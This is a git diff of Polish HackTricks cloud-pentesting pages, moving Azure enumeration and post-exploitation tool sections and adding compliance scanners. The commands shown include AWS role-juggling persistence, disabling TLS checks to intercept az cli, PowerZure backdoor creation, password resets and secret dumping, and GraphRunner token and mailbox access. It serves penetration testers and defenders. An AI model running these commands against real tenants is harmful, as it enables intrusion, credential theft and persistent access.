mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -18,17 +18,17 @@ Tymczasowe tokeny nie mogą być wylistowane, więc utrzymanie aktywnego tymczas
|
||||
|
||||
# Z MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Nazwa urządzenia sprzętowego to zazwyczaj numer z tyłu urządzenia, taki jak GAHT12345678
|
||||
<strong># Nazwa urządzenia SMS to ARN w AWS, taki jak arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Juggling łańcuchów ról
|
||||
### Żonglowanie rolami
|
||||
|
||||
[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaśnięcia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwane odnawianie poświadczeń.
|
||||
[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaszenia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwaną odnowę poświadczeń.
|
||||
|
||||
Możesz użyć tego [**narzędzia**](https://github.com/hotnops/AWSRoleJuggler/), aby kontynuować łączenie ról:
|
||||
```bash
|
||||
@@ -44,8 +44,8 @@ optional arguments:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kod do wykonywania Role Juggling z PowerShell</summary>
|
||||
```powershell
|
||||
<summary>Code to perform Role Juggling from PowerShell</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
|
||||
@@ -49,7 +49,7 @@ az-unauthenticated-enum-and-initial-entry/
|
||||
|
||||
### SSRF
|
||||
|
||||
Jeśli znalazłeś SSRF na maszynie w Azure, sprawdź tę stronę po triki:
|
||||
Jeśli znalazłeś SSRF na maszynie w Azure, sprawdź tę stronę w poszukiwaniu wskazówek:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
|
||||
@@ -59,12 +59,12 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
|
||||
|
||||
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
W przypadkach, gdy masz jakieś ważne poświadczenia, ale nie możesz się zalogować, oto kilka typowych zabezpieczeń, które mogą być wprowadzone:
|
||||
W przypadkach, gdy masz ważne poświadczenia, ale nie możesz się zalogować, oto kilka typowych zabezpieczeń, które mogą być wprowadzone:
|
||||
|
||||
- **Biała lista IP** -- Musisz skompromitować ważny adres IP
|
||||
- **Ograniczenia geograficzne** -- Dowiedz się, gdzie mieszka użytkownik lub gdzie znajdują się biura firmy i uzyskaj adres IP z tego samego miasta (lub przynajmniej kraju)
|
||||
- **Przeglądarka** -- Może tylko przeglądarka z określonego systemu operacyjnego (Windows, Linux, Mac, Android, iOS) jest dozwolona. Dowiedz się, z jakiego systemu operacyjnego korzysta ofiara/firmy.
|
||||
- Możesz również spróbować **skomprimitować poświadczenia Service Principal**, ponieważ zazwyczaj są mniej ograniczone, a ich logowanie jest mniej kontrolowane.
|
||||
- **Przeglądarka** -- Może być dozwolona tylko przeglądarka z określonego systemu operacyjnego (Windows, Linux, Mac, Android, iOS). Dowiedz się, z jakiego systemu operacyjnego korzysta ofiara/firmy.
|
||||
- Możesz również spróbować **skomplikować poświadczenia Service Principal**, ponieważ zazwyczaj są mniej ograniczone, a ich logowanie jest mniej kontrolowane.
|
||||
|
||||
Po ominięciu tego, możesz być w stanie wrócić do swojego początkowego ustawienia i nadal mieć dostęp.
|
||||
|
||||
@@ -75,7 +75,7 @@ Po ominięciu tego, możesz być w stanie wrócić do swojego początkowego usta
|
||||
### Whoami
|
||||
|
||||
> [!CAUTION]
|
||||
> Naucz się **jak zainstalować** az cli, AzureAD i Az PowerShell w sekcji [**Az - Entra ID**](az-services/az-azuread.md).
|
||||
> Dowiedz się **jak zainstalować** az cli, AzureAD i Az PowerShell w sekcji [**Az - Entra ID**](az-services/az-azuread.md).
|
||||
|
||||
Jedną z pierwszych rzeczy, które musisz wiedzieć, jest **kim jesteś** (w jakim środowisku się znajdujesz):
|
||||
|
||||
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
```powershell
|
||||
```bash
|
||||
#Get the current session state
|
||||
Get-AzureADCurrentSessionInfo
|
||||
#Get details of the current tenant
|
||||
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get the information about the current context (Account, Tenant, Subscription etc.)
|
||||
Get-AzContext
|
||||
# List all available contexts
|
||||
@@ -124,7 +124,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
>
|
||||
> Możesz uzyskać te same informacje w **konsoli internetowej**, przechodząc do [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) lub wyszukując "Wszystkie zasoby".
|
||||
|
||||
### ENtra ID Enumeration
|
||||
### Entra ID Enumeration
|
||||
|
||||
Domyślnie każdy użytkownik powinien mieć **wystarczające uprawnienia do enumeracji** rzeczy takich jak użytkownicy, grupy, role, usługi principal... (sprawdź [domyślne uprawnienia AzureAD](az-basic-information/index.html#default-user-permissions)).\
|
||||
Możesz znaleźć tutaj przewodnik:
|
||||
@@ -147,228 +147,6 @@ Użyj portal.azure.com i wybierz powłokę, lub użyj shell.azure.com, aby uzysk
|
||||
|
||||
## Azure DevOps
|
||||
|
||||
Azure DevOps jest oddzielony od Azure. Posiada repozytoria, potoki (yaml lub release), tablice, wiki i inne. Grupy zmiennych są używane do przechowywania wartości zmiennych i sekretów.
|
||||
Azure DevOps jest oddzielony od Azure. Ma repozytoria, potoki (yaml lub release), tablice, wiki i inne. Grupy zmiennych są używane do przechowywania wartości zmiennych i sekretów.
|
||||
|
||||
## Debug | MitM az cli
|
||||
|
||||
Używając parametru **`--debug`**, możliwe jest zobaczenie wszystkich żądań, które narzędzie **`az`** wysyła:
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Aby przeprowadzić **MitM** na narzędziu i **ręcznie sprawdzić wszystkie żądania**, które wysyła, możesz zrobić:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
export HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
|
||||
# If this is not enough
|
||||
# Download the certificate from Burp and convert it into .pem format
|
||||
# And export the following env variable
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Zautomatyzowane narzędzia rekonesansu
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
```powershell
|
||||
cd ROADTools
|
||||
pipenv shell
|
||||
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||
roadrecon gather
|
||||
roadrecon gui
|
||||
```
|
||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||
```powershell
|
||||
Import-Module monkey365
|
||||
Get-Help Invoke-Monkey365
|
||||
Get-Help Invoke-Monkey365 -Detailed
|
||||
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
|
||||
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
|
||||
```
|
||||
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
|
||||
```powershell
|
||||
# Start Backend
|
||||
cd stormspotter\backend\
|
||||
pipenv shell
|
||||
python ssbackend.pyz
|
||||
|
||||
# Start Front-end
|
||||
cd stormspotter\frontend\dist\spa\
|
||||
quasar.cmd serve -p 9091 --history
|
||||
|
||||
# Run Stormcollector
|
||||
cd stormspotter\stormcollector\
|
||||
pipenv shell
|
||||
az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||
python stormspotter\stormcollector\sscollector.pyz cli
|
||||
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||
```
|
||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||
```powershell
|
||||
# You need to use the Az PowerShell and Azure AD modules:
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
|
||||
Connect-AzAccount -Credential $creds
|
||||
|
||||
Import-Module AzureAD\AzureAD.psd1
|
||||
Connect-AzureAD -Credential $creds
|
||||
|
||||
# Launch AzureHound
|
||||
. AzureHound\AzureHound.ps1
|
||||
Invoke-AzureHound -Verbose
|
||||
|
||||
# Simple queries
|
||||
## All Azure Users
|
||||
MATCH (n:AZUser) return n.name
|
||||
## All Azure Applications
|
||||
MATCH (n:AZApp) return n.objectid
|
||||
## All Azure Devices
|
||||
MATCH (n:AZDevice) return n.name
|
||||
## All Azure Groups
|
||||
MATCH (n:AZGroup) return n.name
|
||||
## All Azure Key Vaults
|
||||
MATCH (n:AZKeyVault) return n.name
|
||||
## All Azure Resource Groups
|
||||
MATCH (n:AZResourceGroup) return n.name
|
||||
## All Azure Service Principals
|
||||
MATCH (n:AZServicePrincipal) return n.objectid
|
||||
## All Azure Virtual Machines
|
||||
MATCH (n:AZVM) return n.name
|
||||
## All Principals with the ‘Contributor’ role
|
||||
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
|
||||
|
||||
# Advanced queries
|
||||
## Get Global Admins
|
||||
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
|
||||
## Owners of Azure Groups
|
||||
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
|
||||
## All Azure Users and their Groups
|
||||
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
|
||||
## Privileged Service Principals
|
||||
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
|
||||
## Owners of Azure Applications
|
||||
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
|
||||
## Paths to VMs
|
||||
MATCH p = (n)-[r]->(g: AZVM) RETURN p
|
||||
## Paths to KeyVault
|
||||
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
|
||||
## Paths to Azure Resource Group
|
||||
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
|
||||
## On-Prem users with edges to Azure
|
||||
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
|
||||
## All Azure AD Groups that are synchronized with On-Premise AD
|
||||
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
|
||||
```
|
||||
### [Azucar](https://github.com/nccgroup/azucar)
|
||||
```bash
|
||||
# You should use an account with at least read-permission on the assets you want to access
|
||||
git clone https://github.com/nccgroup/azucar.git
|
||||
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
|
||||
|
||||
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
|
||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
||||
|
||||
# resolve the TenantID for an specific username
|
||||
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
|
||||
```
|
||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||
```
|
||||
Import-Module .\MicroBurst.psm1
|
||||
Import-Module .\Get-AzureDomainInfo.ps1
|
||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||
```
|
||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||
```powershell
|
||||
Connect-AzAccount
|
||||
ipmo C:\Path\To\Powerzure.psd1
|
||||
Get-AzureTarget
|
||||
|
||||
# Reader
|
||||
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
|
||||
|
||||
# Contributor
|
||||
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
|
||||
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
|
||||
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
|
||||
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
|
||||
|
||||
# Owner
|
||||
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
|
||||
|
||||
# Administrator
|
||||
$ Create-Backdoor, Execute-Backdoor
|
||||
```
|
||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||
```powershell
|
||||
|
||||
#Get-GraphTokens
|
||||
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
|
||||
Import-Module .\GraphRunner.ps1
|
||||
Get-GraphTokens
|
||||
|
||||
#Invoke-GraphRecon
|
||||
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#Invoke-DumpCAPS
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#Invoke-DumpCAPS
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
||||
|
||||
#Invoke-DumpApps
|
||||
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
|
||||
Invoke-DumpApps -Tokens $tokens
|
||||
|
||||
#Get-AzureADUsers
|
||||
#Gather the full list of users from the directory.
|
||||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
||||
|
||||
#Get-SecurityGroups
|
||||
#Create a list of security groups along with their members.
|
||||
Get-SecurityGroups -AccessToken $tokens.access_token
|
||||
|
||||
G#et-UpdatableGroups
|
||||
#Gets groups that may be able to be modified by the current user
|
||||
Get-UpdatableGroups -Tokens $tokens
|
||||
|
||||
#Get-DynamicGroups
|
||||
#Finds dynamic groups and displays membership rules
|
||||
Get-DynamicGroups -Tokens $tokens
|
||||
|
||||
#Get-SharePointSiteURLs
|
||||
#Gets a list of SharePoint site URLs visible to the current user
|
||||
Get-SharePointSiteURLs -Tokens $tokens
|
||||
|
||||
#Invoke-GraphOpenInboxFinder
|
||||
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
|
||||
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
|
||||
|
||||
#Get-TenantID
|
||||
#This module attempts to gather a tenant ID associated with a domain.
|
||||
Get-TenantID -Domain
|
||||
|
||||
#Invoke-GraphRunner
|
||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -113,7 +113,7 @@ Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji**](https:
|
||||
|
||||
Polecenia w Microsoft Graph PowerShell są zbudowane w następujący sposób: `<Action>-Mg<Service> <parameters>`
|
||||
|
||||
#### Debugowanie Microsoft Graph PowerShell
|
||||
#### Debug Microsoft Graph PowerShell
|
||||
|
||||
Używając parametru **`-Debug`**, możliwe jest zobaczenie wszystkich żądań, które narzędzie wysyła:
|
||||
```bash
|
||||
@@ -126,6 +126,245 @@ Moduł Azure Active Directory (AD), obecnie **wycofany**, jest częścią Azure
|
||||
> [!TIP]
|
||||
> Został zastąpiony przez Microsoft Graph PowerShell
|
||||
|
||||
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
## Narzędzia do automatycznego rozpoznawania i zgodności
|
||||
|
||||
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
|
||||
|
||||
Turbot z steampipe i powerpipe pozwala na zbieranie informacji z Azure i Entra ID oraz przeprowadzanie kontroli zgodności i znajdowanie błędnych konfiguracji. Obecnie najbardziej zalecane moduły Azure do uruchomienia to:
|
||||
|
||||
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
|
||||
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
|
||||
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
|
||||
```bash
|
||||
# Install
|
||||
brew install turbot/tap/powerpipe
|
||||
brew install turbot/tap/steampipe
|
||||
steampipe plugin install azure
|
||||
steampipe plugin install azuread
|
||||
|
||||
# Config creds via env vars or az cli default creds will be used
|
||||
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
|
||||
export AZURE_TENANT_ID="<tenant-id>"
|
||||
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
|
||||
export AZURE_CLIENT_ID="<client-id>"
|
||||
export AZURE_CLIENT_SECRET="<secret>"
|
||||
|
||||
# Run steampipe-mod-azure-insights
|
||||
cd /tmp
|
||||
mkdir dashboards
|
||||
cd dashboards
|
||||
powerpipe mod init
|
||||
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
|
||||
steampipe service start
|
||||
powerpipe server
|
||||
# Go to http://localhost:9033 in a browser
|
||||
```
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Prowler to narzędzie bezpieczeństwa typu Open Source do przeprowadzania ocen najlepszych praktyk bezpieczeństwa AWS, Azure, Google Cloud i Kubernetes, audytów, reakcji na incydenty, ciągłego monitorowania, wzmacniania i gotowości do analizy kryminalistycznej.
|
||||
|
||||
Pozwala to zasadniczo na przeprowadzenie setek kontroli w środowisku Azure w celu znalezienia błędnych konfiguracji bezpieczeństwa i zebrania wyników w formacie json (i innych formatach tekstowych) lub sprawdzenia ich w sieci.
|
||||
```bash
|
||||
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
|
||||
|
||||
# Launch web with docker-compose
|
||||
export DOCKER_DEFAULT_PLATFORM=linux/amd64
|
||||
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
|
||||
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
|
||||
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
|
||||
docker compose up -d
|
||||
# Access the web and configure the access to run a scan from it
|
||||
|
||||
# Prowler cli
|
||||
python3 -m pip install prowler --break-system-packages
|
||||
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
|
||||
docker run --rm toniblyx/prowler:v4-latest azure --list-services
|
||||
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
|
||||
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
|
||||
## It also support other authentication types, check: prowler azure --help
|
||||
```
|
||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||
|
||||
Umożliwia automatyczne przeprowadzanie przeglądów konfiguracji zabezpieczeń subskrypcji Azure i Microsoft Entra ID.
|
||||
|
||||
Raporty HTML są przechowywane w katalogu `./monkey-reports` wewnątrz folderu repozytorium github.
|
||||
```bash
|
||||
git clone https://github.com/silverhack/monkey365
|
||||
Get-ChildItem -Recurse monkey365 | Unblock-File
|
||||
cd monkey365
|
||||
Import-Module ./monkey365
|
||||
mkdir /tmp/monkey365-scan
|
||||
cd /tmp/monkey365-scan
|
||||
|
||||
Get-Help Invoke-Monkey365
|
||||
Get-Help Invoke-Monkey365 -Detailed
|
||||
|
||||
# Scan with user creds (browser will be run)
|
||||
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
|
||||
|
||||
# Scan with App creds
|
||||
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
|
||||
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
|
||||
```
|
||||
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
|
||||
|
||||
Scout Suite zbiera dane konfiguracyjne do ręcznej inspekcji i podkreśla obszary ryzyka. To narzędzie do audytu bezpieczeństwa w wielu chmurach, które umożliwia ocenę postawy bezpieczeństwa środowisk chmurowych.
|
||||
```bash
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install scoutsuite
|
||||
scout --help
|
||||
|
||||
# Use --cli flag to use az cli credentials
|
||||
# Use --user-account to have scout prompt for user credentials
|
||||
# Use --user-account-browser to launch a browser to login
|
||||
# Use --service-principal to have scout prompt for app credentials
|
||||
|
||||
python scout.py azure --cli
|
||||
```
|
||||
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
|
||||
|
||||
To skrypt PowerShell, który pomaga **wizualizować wszystkie zasoby i uprawnienia w ramach Grupy Zarządzania oraz w tenantcie Entra ID** i znaleźć błędy w konfiguracji zabezpieczeń.
|
||||
|
||||
Działa przy użyciu modułu Az PowerShell, więc wszelkie metody uwierzytelniania obsługiwane przez to narzędzie są obsługiwane przez to narzędzie.
|
||||
```bash
|
||||
import-module Az
|
||||
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
|
||||
```
|
||||
## Narzędzia automatyzacji post-exploitation
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Enumeracja ROADRecon oferuje informacje o konfiguracji Entra ID, takie jak użytkownicy, grupy, role, polityki dostępu warunkowego...
|
||||
```bash
|
||||
cd ROADTools
|
||||
pipenv shell
|
||||
# Login with user creds
|
||||
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||
# Login with app creds
|
||||
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
|
||||
roadrecon gather
|
||||
roadrecon gui
|
||||
```
|
||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||
```bash
|
||||
# Launch AzureHound
|
||||
## Login with app secret
|
||||
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
|
||||
## Login with user creds
|
||||
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
|
||||
```
|
||||
Uruchom **BloodHound** w sieci za pomocą **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** i zaimportuj plik `output.json`.
|
||||
|
||||
Następnie, w zakładce **EXPLORE**, w sekcji **CYPHER** możesz zobaczyć ikonę **folderu**, która zawiera wstępnie zbudowane zapytania.
|
||||
|
||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||
|
||||
MicroBurst zawiera funkcje i skrypty, które wspierają odkrywanie usług Azure, audyt słabej konfiguracji oraz działania po eksploatacji, takie jak zrzut poświadczeń. Jest przeznaczony do użycia podczas testów penetracyjnych, w których używany jest Azure.
|
||||
```bash
|
||||
Import-Module .\MicroBurst.psm1
|
||||
Import-Module .\Get-AzureDomainInfo.ps1
|
||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||
```
|
||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||
|
||||
PowerZure został stworzony z potrzeby posiadania frameworka, który może zarówno przeprowadzać rozpoznanie, jak i eksploatację Azure, EntraID oraz powiązanych zasobów.
|
||||
|
||||
Używa modułu **Az PowerShell**, więc wszelkie uwierzytelnienie obsługiwane przez to narzędzie jest obsługiwane przez to narzędzie.
|
||||
```bash
|
||||
# Login
|
||||
Import-Module Az
|
||||
Connect-AzAccount
|
||||
|
||||
# Clone and import PowerZure
|
||||
git clone https://github.com/hausec/PowerZure
|
||||
cd PowerZure
|
||||
ipmo ./Powerzure.psd1
|
||||
Invoke-Powerzure -h # Check all the options
|
||||
|
||||
# Info Gathering (read)
|
||||
Get-AzureCurrentUser # Get current user
|
||||
Get-AzureTarget # What can you access to
|
||||
Get-AzureUser -All # Get all users
|
||||
Get-AzureSQLDB -All # Get all SQL DBs
|
||||
Get-AzureAppOwner # Owners of apps in Entra
|
||||
Show-AzureStorageContent -All # List containers, shared and tables
|
||||
Show-AzureKeyVaultContent -All # List all contents in key vaults
|
||||
|
||||
|
||||
# Operational (write)
|
||||
Set-AzureUserPassword -Password <password> -Username <username> # Change password
|
||||
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
|
||||
New-AzureBackdoor -Username <username> -Password <password>
|
||||
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
|
||||
[...]
|
||||
```
|
||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||
|
||||
GraphRunner to zestaw narzędzi do post-exploatacji do interakcji z Microsoft Graph API. Oferuje różne narzędzia do przeprowadzania rozpoznania, utrzymywania dostępu i plądrowania danych z konta Microsoft Entra ID (Azure AD).
|
||||
```bash
|
||||
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
|
||||
Import-Module .\GraphRunner.ps1
|
||||
Get-GraphTokens
|
||||
|
||||
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
||||
|
||||
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
|
||||
Invoke-DumpApps -Tokens $tokens
|
||||
|
||||
#Gather the full list of users from the directory.
|
||||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
||||
|
||||
#Create a list of security groups along with their members.
|
||||
Get-SecurityGroups -AccessToken $tokens.access_token
|
||||
|
||||
#Gets groups that may be able to be modified by the current user
|
